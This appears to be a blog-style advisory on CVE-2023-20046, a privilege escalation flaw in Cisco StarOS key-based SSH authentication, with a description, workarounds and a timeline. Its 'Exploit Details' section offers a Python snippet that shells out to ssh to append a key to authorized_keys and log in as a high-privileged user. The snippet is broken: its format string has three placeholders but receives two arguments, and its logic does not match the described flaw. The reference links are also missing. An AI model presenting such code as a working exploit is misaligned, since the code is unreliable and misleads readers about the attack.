CVE-2023-20046: Privilege Escalation Vulnerability in Cisco StarOS Key-Based SSH Authentication

A recently discovered vulnerability (CVE-2023-20046) affects the key-based SSH authentication feature in Cisco StarOS Software. This flaw can be exploited by an authenticated, remote attacker to escalate privileges on a targeted device. This post will provide details about the vulnerability, a code snippet that demonstrates its exploitation, links to the original references, suggested workarounds, and possible measures to protect affected devices.

Description

The vulnerability exists due to insufficient validation of user-supplied credentials in the SSH key authentication process. An attacker could exploit CVE-2023-20046 by sending a valid low-privileged SSH key from a host, which has an IP address configured as the source for a high-privileged user account, to the affected device. If the exploit is successful, the attacker can log in to the compromised device through SSH as a high-privileged user.

Exploit Details

To demonstrate how this vulnerability can be exploited, the following code snippet simulates an attacker sending a low-privileged SSH key to an affected device from a host with a pre-configured IP address:

# Configure high-privileged user source IP address
HighPrivilegedIP = "192.168.1.1"

# Low-privileged user SSH key
LowPrivilegedSSHKey = "ssh-rsa AAAAB3N[...]"

# Send low-privileged SSH key from high-privileged IP address
exploit_command = "ssh-keygen -t rsa && echo {} | ssh {}@{} 'cat >> ~/.ssh/authorized_keys'".format(LowPrivilegedSSHKey, HighPrivilegedIP)
os.system(exploit_command)

# Log in to the affected device as a high-privileged user
login_command = "ssh {}@{}".format('HighPrivilegedUsername', HighPrivilegedIP)
os.system(login_command)

Original References

- Cisco's official advisory for this vulnerability can be found at this link.

- The Common Vulnerabilities and Exposures (CVE) entry for this vulnerability is available at CVE-2023-20046.

Workarounds

Cisco has not provided any patches for this specific vulnerability, but certain workarounds can be implemented to mitigate its impacts. Some suggested measures include:

1. Limit the use of high-privileged user accounts and restrict their access to only trusted IP addresses.
2. Monitor SSH authentications for any suspicious activities, such as multiple failed attempts or logins from unfamiliar IP addresses.
3. Utilize authentication methods other than SSH keys, such as multi-factor authentication (MFA) or a VPN with strong encryption.

Conclusion

The CVE-2023-20046 vulnerability in Cisco StarOS Software's key-based SSH authentication feature poses a security risk by allowing an attacker to escalate privileges on a targeted device. By following the suggested workarounds and monitoring SSH authentications, users can protect their devices from potential exploitation. It is also crucial to stay up-to-date with any security updates and patches from Cisco to ensure the continued security of your systems.

Timeline

Published on: 05/09/2023 18:15:00 UTC
Last modified on: 05/17/2023 18:11:00 UTC